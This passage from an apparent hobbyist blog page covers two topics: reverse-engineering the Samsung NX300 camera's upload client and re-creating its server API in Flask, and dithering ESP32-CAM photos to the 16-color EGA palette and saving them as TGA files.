        WebString_Add_fmt(body,"%s%s","</Photo>","\r\n");
        WebString_Add_fmt(body,"%s%s","</Request>","\r\n");

        body_len = strlen(body);
        WebString_Add_fmt(header,"%s%s%s%s","POST /",gWeb.site,"/photo HTTP/1.1","\r\n");
        WebString_Add_fmt(header,"%s%s%s","Host: ",hostname,"\r\n");
        WebString_Add_fmt(header,"%s%s","Content-Type: text/xml;charset=utf-8","\r\n");
        WebString_Add_fmt(header,"%s%s%s","User-Agent: ","DI-NX300","\r\n");
        WebString_Add_fmt(header,"%s%d%s","Content-Length: ",body_len,"\r\n\r\n");
        strcat(header,body);
        strcpy(out_http_request,header);
        return true;
    }
    if (strstr(gWeb.file_path, "MP4") != NULL) {
        /* analogous to picture upload, but for video */
    } else
        return false; /* wrong file type */
}

bool WebOperateMetaDataUpload(int site_idx,int sock_idx,char *buf) {
    /* snip hostname selection similar to WebMakeLoginData */
    bool result = WebSocketConnect(sock_idx,hostname,80);
    if (result) {
        SendTCPSocket(sock_idx,buf,strlen(buf),0,false,0,0);
        response = malloc(2048);
        ReceiveTCPProcess(sock_idx,response,300);
        return WebCheckRequest(response);
    }
    return false;
}

The generated XML looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<Request Method="upload" Timeout="3000" SessionKey="deadbeef" CryptKey="4f69e3590858b5026508b241612a140e2e60042b">
<Photo>
<Album ID="" Name="Samsung Smart Camera"/>
<File Name="SAM_9838.JPG"/>
<Content><![CDATA[Upload test message.]]></Content>
</Photo>
</Request>

Upload response: WebCheckRequest()

The server response is checked by WebCheckRequest():

bool WebCheckRequest(char *xml) {
    /* check for HTTP 200 OK, populate ErrCode and ErrSubCode on error */
    if (!GetXmlResult(xml))
        return false;
    memset(web->HostAddr,0,64); /* 64 byte buffer */
    memset(web->ResourceID,0,128); /* 128 byte buffer */
    GetXmlString(xml,"HostAddr",web->HostAddr);
    GetXmlString(xml,"ResourceID",web->ResourceID);
    return true;
}

Thus the server needs to return an (arbitrary) XML element that has the two attributes HostAddr and ResourceID, which are stored in the gWeb struct for later use. As always, there are no range checks (but those fields are in the middle of the struct, so maybe not the best place to smash.

Actual media upload: WebOperateUpload()

The code is pretty straight-forward, it creates a buffer with the (downscaled or original) media file, makes a HTTP PUT request to the host and resource obtained earlier, and submits that to the server:

bool WebOperateUpload(int sock_idx,ulong picType) {
    char hostname[128];
    memset(hostname,0,128);
    WebParseIP(gWeb.HostAddr,hostname); /* not required to be an IP */
    int port = WebParsePort(web->HostAddr);
    if (!WebSocketConnect(sock_idx,hostname,port))
        return false;
    char *file_buffer;
    int file_size;
    char *request = WebMalloc(2048);
    WebMakeUploadingData(request,&file_buffer_ptr,&file_size,picType);
    if (WebUploadingData(sock_idx,request,file_buffer_ptr,file_size)) {
        if (strstr(gWeb.file_path,"JPG") || strstr(gWeb.file_path, "MP4"))
            WebFree(file_buffer_ptr);
        WebSocketClose(sock_idx);
    }
}

bool WebMakeUploadingData(char *out_http_request,char **file_buffer_ptr,int *file_size_ptr,ulong picType) {
    request = WebMalloc(512);
    if (strstr(gWeb.file_path,"JPG")) {
        /* scale down or send original image */
        if (picType == 0) {
            int megapixels = 2;
            if (strcmp(gWeb.site, "facebook") == 0)
                megapixels = 1;
            NASLWifi_jpegResizeInMemory(gWeb.file_path,megapixels,file_buffer_ptr,file_size_ptr);
        } else
            NPL_GetFileBuffer(gWeb.file_path,file_buffer_ptr,file_size_ptr);
    } else if (strstr(gWeb.file_path,"MP4")) {
        NPL_GetFileBuffer(gWeb.file_path,file_buffer_ptr,file_size_ptr);
    }
    WebString_Add_fmt(request,"%s%s%s%s","PUT /",gWeb.ResourceID," HTTP/1.1","\r\n");
    if (strstr(gWeb.file_path,"JPG")) {
        WebString_Add_fmt(request,"%s%s","Content-Type: image/jpeg","\r\n");
    } else if (strstr(gWeb.file_path,"MP4")) {
        /* copy-paste-fail? should be video... */
        WebString_Add_fmt(request,"%s%s","Content-Type: image/jpeg","\r\n");
    }
    WebString_Add_fmt(request,"%s%d%s","Content-Length: ",*file_size_ptr,"\r\n");
    WebString_Add_fmt(request,"%s%s%s","User-Agent: ","DI-NX300","\r\n");
    WebString_Add_fmt(request,"%s%d/%d%s","Content-Range: bytes 0-",*file_size_ptr - 1,
            *file_size_ptr,"\r\n");
    WebString_Add_fmt(request,"%s%s%s","Host: ",gWeb.HostAddr,"\r\n\r\n");
    strcpy(out_http_request,request);
}

The actual upload function WebUploadingData() is operating in a straight-forward way, it will send the request buffer and the file buffer, and check for a HTTP 200 OK response or for the presence of ErrCode and ErrSubCode.

Writing an upload handler

We need to implement a /<site>/photo handler that returns an (arbitrary) upload path and a PUT handler that will process files on that path.

The upload path will be served using this XML (the hostname is hardcoded because we already had to hijack the snsgw hostname anyway):

<Response HostAddr="snsgw.samsungmobile.com:80" ResourceID="upload/{{ sessionkey }}/{{ filename }}" />

Then we have the two API endpoints:

@app.route('/<string:site>/photo',methods = ['POST'])
def photo(site):
    xml = ET.fromstring(request.get_data())
    # TODO: check session key
    sessionkey = xml.attrib["SessionKey"]
    photo = xml.find("Photo")
    filename = photo.find("File").attrib["Name"]
    # we just pass the sessionkey into the upload URL
    return render_template('response-upload.xml', sessionkey, filename)

@app.route('/upload/<string:sessionkey>/<string:filename>', methods = ['PUT'])
def upload(sessionkey, filename):
    d = request.get_data()
    # TODO: check session key
    store = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(sessionkey))
    os.makedirs(store, exist_ok = True)
    fn = os.path.join(store, secure_filename(filename))
    with open(fn, "wb") as f:
        f.write(d)
    return "Success!"

Conclusion

Samsung implemented this service back in 2009, when mandatory SSL (or TLS) wasn't a thing yet. They showed intent of properly securing users' credentials by applying state-of-the-art symmetric and asymmetric encryption instead. However, the insecure (commented out?) random key generation algorithm was not suitable for the task, and even if it were, the secret key was provided as part of the message anyway. A passive attacker listening on the traffic between Samsung cameras and their API servers was able to obtain the AES key and thus decrypt the user credentials.

In this post, we have analyzed the client-side code of the NX300 camera, and re-created the APIs as part of the samsung-nx-emailservice project.

Discuss on Mastodon

This post is about shooting 16-color EGA (1984) styled retro photos right on the 4$ ESP32-CAM board and storing them to µSD in the arcane TGA (1984) file format.

For that, we need to read RGB images, convert them to 16 colors, apply dithering, and store a TGA image file.

ESP32-EGA16-TGA source code on GitHub.

Introduction

This year's Shitty Camera Challenge has some space for digital cameras, and so the author experimented with different devices. The last one, the ESP32-CAM, was obtained after the HomeAssistant setup wizard promised an easy way to monitor analog utility meters with camera and AI, and what could be shittier than a 4$ camera PCB?

ESP32-CAM

The ESP32-CAM turned out to be even shittier than anticipated. Of the four sensors ordered, three had visible defects. The image quality is green. The board pinout is ridiculous, with the LED flash wired to the SD data line, the PCB LED blocking WiFi, and no fully usable GPIOs.

Still, the ESP32 is quite a beefy beast for an embedded SoC, with a 240MHz 32-bit core and ~500KB of SRAM on die, plus some 4MB of PSRAM on the board to store camera pictures. The pictures can be streamed over WiFi or stored to a µSD card, giving us some flexibility.

The CPU and memory specs are far beyond 1980s desktop computers, so we are not limited in the choice of algorithms to perform our task, and we can easily cheat where needed.

The platform is supported by Arduino IDE and by PlatformIO, typically programmed in C/C++, and there are example projects to implement a webcam or to take pictures to µSD.

Reading RGB data from the sensor into memory

The camera API supports various streaming formats, from pre-compressed JPEG to RAW:

typedef enum {
    PIXFORMAT_RGB565,    // 2BPP/RGB565
    PIXFORMAT_YUV422,    // 2BPP/YUV422
    PIXFORMAT_YUV420,    // 1.5BPP/YUV420
    PIXFORMAT_GRAYSCALE, // 1BPP/GRAYSCALE
    PIXFORMAT_JPEG,      // JPEG/COMPRESSED
    PIXFORMAT_RGB888,    // 3BPP/RGB888
    PIXFORMAT_RAW,       // RAW
    PIXFORMAT_RGB444,    // 3BP2P/RGB444
    PIXFORMAT_RGB555,    // 3BP2P/RGB555
} pixformat_t;

The easiest format for us to process is RGB888, with one byte for each of the three colors, stored in a two-dimensional pixel array. Except when the API is a lie:

E (1195) esp32 ll_cam: Requested format is not supported

Luckily, the github-actions bot closed the issue as completed, so it's solved, right? RIGHT??? The error message comes from ll_cam_set_sample_mode() and its source code reveals that the actually implemented options are:

• PIXFORMAT_GRAYSCALE
• PIXFORMAT_YUV422
• PIXFORMAT_JPEG
• PIXFORMAT_RGB565

Greyscale gives us one brightness byte per pixel, but we want to have colors. YUV422 stores two pixels in four bytes and requires a color space conversion. JPEG requires that as well, but only after parsing and uncompressing the JPEG file. RGB565 stores one pixel in two bytes, with five bits for red and blue, respectively, and six bits for green. That gives us enough headroom to do some dithering for a 16-color palette and spares us from non-linear luminance and chrominance formulas.

Furthermore, RGB565 can be converted to RGB888 with just a bit of bit shifting, so there we go. We configure the camera to take images in QVGA (320x240, close enough to the EGA 320x200 original) into PSRAM:

camera_config_t config;
/* ... snip boilerplate ... */
config.pixel_format = PIXFORMAT_RGB565;
config.frame_size = FRAMESIZE_QVGA;
config.fb_location = CAMERA_FB_IN_PSRAM;
esp_camera_init(&config);

However, after firing up the image sensor and taking a shot, we realize that everything is green. Not monochrome green, but bad-white-balance green. The suggested workaround is to give the camera some time to calibrate after enabling auto white balance, by taking and discarding a few shots:

sensor_t *s = esp_camera_sensor_get();
/* Enable AWB and AWB gain in auto mode */
s->set_whitebal(s, 1);
s->set_awb_gain(s, 1);
s->set_wb_mode(s, 0);
/* DO NOT DO COPY THIS! Set contrast and saturation to max for the EGA effect */
s->set_contrast(s, 2);
s->set_saturation(s, 2);
/* Take and discard a few pictures */
for (int i= 0 ; i < WARMUP_PICS; i++) {
  camera_fb_t *fb = esp_camera_fb_get();
  if (fb)
    esp_camera_fb_return(fb);
}

After that (with WARMUP_PICS=10), the image is less green. Not quite true-color, but acceptable. The raw RGB565 image bytes (320*240*2 = 153600 of them) can be found in fb->buf:

As noted above, the image is 320*240 and not 320*200, as the EGA card didn't have square pixels. We can compensate that by just skipping one of each six rows when converting. Then we just can fix the aspect ratio in post-production for modern PC displays, by scaling up to 200%x240%.

Interlude: viewing RGB565 images

An obvious intermediate step when developing a camera application is storing the "raw" or "intermediate" pixel arrays right to "disk", i.e. the µSD card.

RGB888 images can be trivially converted (and scaled up for modern displays) by ImageMagick, the author's favorite image processing CLI:

convert -depth 8 -size 320x240 input.rgb -scale 200% output.png

There is no direct driver for RGB565, but there is this RGB565 parser pattern and it leaves the author speechless. WTF. ImageMagick is the Swiss army knife of image processing, but is this Turing complete?!?

So maybe the second favorite image processing tool has something in the pipeline? Oh yes indeed:

ffmpeg -vcodec rawvideo -f rawvideo -pix_fmt rgb565be -s 320x240 -i input.rgb565 -f image2 -vcodec png output.png

Et voila! We can store intermediate pictures, test individual phases of the pipeline and see where things go wrong. The ESP32 µSD interface is quite slow, so storing the "huge" 150KiB and 225KiB images takes a second or so of intensive flash LED blinking. And that LED gets rather hot, so watch out for your fingers!

EGA 16-color palette

The EGA color palette was a natural choice for this experiment, because its 16 colors are well known and still in use today in terminal mode applications (including most things you can access through SSH), and while they don't go back to roman horse asses or 1920's punch cards, they were created by IBM in 1981 for the IBM CGA adapter based on a simple one bit per color plus one intensity bit scheme, and an analog hardware hack to replace the ugly yellow ocher with a slightly less unpleasant brown.

The result are the following natural colors beloved by retro pixel artists, perfectly suited for photography:

Technically, the full EGA color palette has two bits per color, resulting in 64 total colors, but you can only ever choose 16 of them, and as the defaults are well-known, we are sticking to them.

To provide the best resulting image quality, for each pixel we will pick the closest EGA color, by minimizing the Euclidean distance in three-dimensional space, or in different words, we'll calculate the squared differences for each color channel and pick the smallest one:

for (int i = 0; i < 16; i++) {
  int delta_r = abs(EGA_PALETTE[i][0]-r);
  int delta_g = abs(EGA_PALETTE[i][1]-g);
  int delta_b = abs(EGA_PALETTE[i][2]-b);
  int match = delta_r*delta_r + delta_g*delta_g + delta_b*delta_b;
  if (match < best_match) {
      best_match = match;
      best_color = i;
  }
}

We could implement a fancy look-up-table for each of the 65536 possible RGB565 values, but we have plenty of CPU cycles and not so much RAM, and only 64000 pixels, so we just do the look-up for each of them.

The results look surprisingly monochrome, with just a few colored areas. It turns out that the low saturation of the ESP camera sensor maps most real-world motives onto the four shades of grey when using the "closest color" approach. To increase the saturation, we'd have to convert our pixels into another colorspace, so let's look for a different approach.

Dithering of photos to 16 colors

The standard (old-school) technique to map natural colors to a limited palette is color dithering. There are different algorithms, with different trade-offs, resulting in different image quality.

The simplest one, average dithering, assigns the closest palette color to each pixel, and we've seen it in action above.

Floyd-Steinberg from 1975 is the most sophisticated one, giving the most natural results and having a nice natural and irregular pixel distribution. It works by taking the error (difference between the original color and the mapped palette color) of each pixel, and spreading ("propagating") that error out to the neighbor pixels below and to the right. This creates a statistical distribution of colored pixels proportional to the level of the respective color in the image. The algorithm is clever by only applying the propagation to pixels right and below of the current one, allowing to process an image in a single linear pass.

However, it means that we need to change pixel values one row ahead in our buffer, and adding something to a pixel's color might overflow it, so we need to clip values to the (0, 31) or (0, 63) range. However, we can get a very good approximation by only propagating the error to the next pixel in the current row, with much less work:

There are slightly noticeable vertical line artifacts at the left edge, as we reset the error variables at the beginning of the column (otherwise, colors from the right edge would "bleed over"), that wouldn't be there with the two-dimensional approach of Floyd-Steinberg. Beyond that, this is already too good and almost too true-color to really count as a shitty image.

There is one approach that was easier to implement on 1980s hardware (and that allowed better compression of the images), and that is ordered (or Bayes) dithering. It's using a (most often square) threshold table that is applied repeatedly to the image, changing the respective colors and resulting in a visible cross-hatch pattern.

By simply taking a bayer pattern table from StackOverflow, and doubling the threshold values to compensate for the pale camera colors, we get this:

Now why is this so monochrome again? Well, the Bayer pattern is applied individually to each of the three color channels, and we are using the same pattern position for the three channels of a pixel, so effectively we always apply a greyscale threshold. By simply shifting the pattern one pixel to the right for green and one pixel down for blue, we get a much better result:

Perfect! That's exactly the desired image quality to compete in the Shitty Camera Challenge!

Saving as TGA

Actually, TGA wasn't the first choice format for this project. The author's favorite is PCX (1985), which is only slightly younger than TGA, but was supported by the author's favorite image editing tool, that also featured the most creative versioning scheme: Deluxe Paint II Enhanced 2.0.

However, the author's favorite image viewer, Geeqie, fails to properly display PCX files, and fixing that was way out-of-scope for this project, or so the author thought. So we stick to TGA, which seems to be properly supported based on throwing a few test files at it.

The file format is simple when compression is disabled, coming with a small 18-byte header followed by the palette (in BGR order, not RGB), and then the packed raw pixel data, from bottom to top.

Well. In theory, TGA supports various color depths and palette types from 1 bit per pixel to RGBA. What we have is a 16-color 4bpp (4 bits per pixels; not to be confused with the "BPP" bytes-per-pixel used in the ESP32 headers) image with a 16*3 byte palette. However, the image processing tools that claim to "support" TGA don't actually accept arbitrary variants.

• Geeqie silently fails to display a 4bpp image

• ImageMagick mis-treats anything non-default as 8pp with an opaque error message:

  convert-im6.q16: unable to read image data 'shitty_133.xyz.tga' @ error/tga.c/ReadTGAImage/457.
  

• GIMP requires palette images to use 8bpp:

So we have to artificially inflate our pixel data from 4bpp to 8bpp, and because the tools will also ignore the "number of colors in the palette" field and instead use the "number of colors in the image" field, we need to store a full 256-color palette in the file, of which we will only use the first 16 entries:

memcpy(tga, &header, sizeof(TgaHeader));
for (int i = 0; i < STORE_COLORS; i++) {
  tga[sizeof(TgaHeader) + i*3 + 0] = EGA_PALETTE[i % COLORS][2];
  tga[sizeof(TgaHeader) + i*3 + 1] = EGA_PALETTE[i % COLORS][1];
  tga[sizeof(TgaHeader) + i*3 + 2] = EGA_PALETTE[i % COLORS][0];
}
for (y = 0; y < HEIGHT; y++) {
  src_pos = y*WIDTH;
  dst_pos = (HEIGHT - y - 1)*WIDTH;
  memcpy(tga + sizeof(TgaHeader) + 3*256 + dst_pos, framebuffer + src_pos, WIDTH);
}

The remaining code of the project is based on existing examples. Find the full ESP32-EGA16-TGA source code on GitHub. Beware, it's as shitty as everything shown above, to fit into the project. This is not production-quality C code.

Comments on HN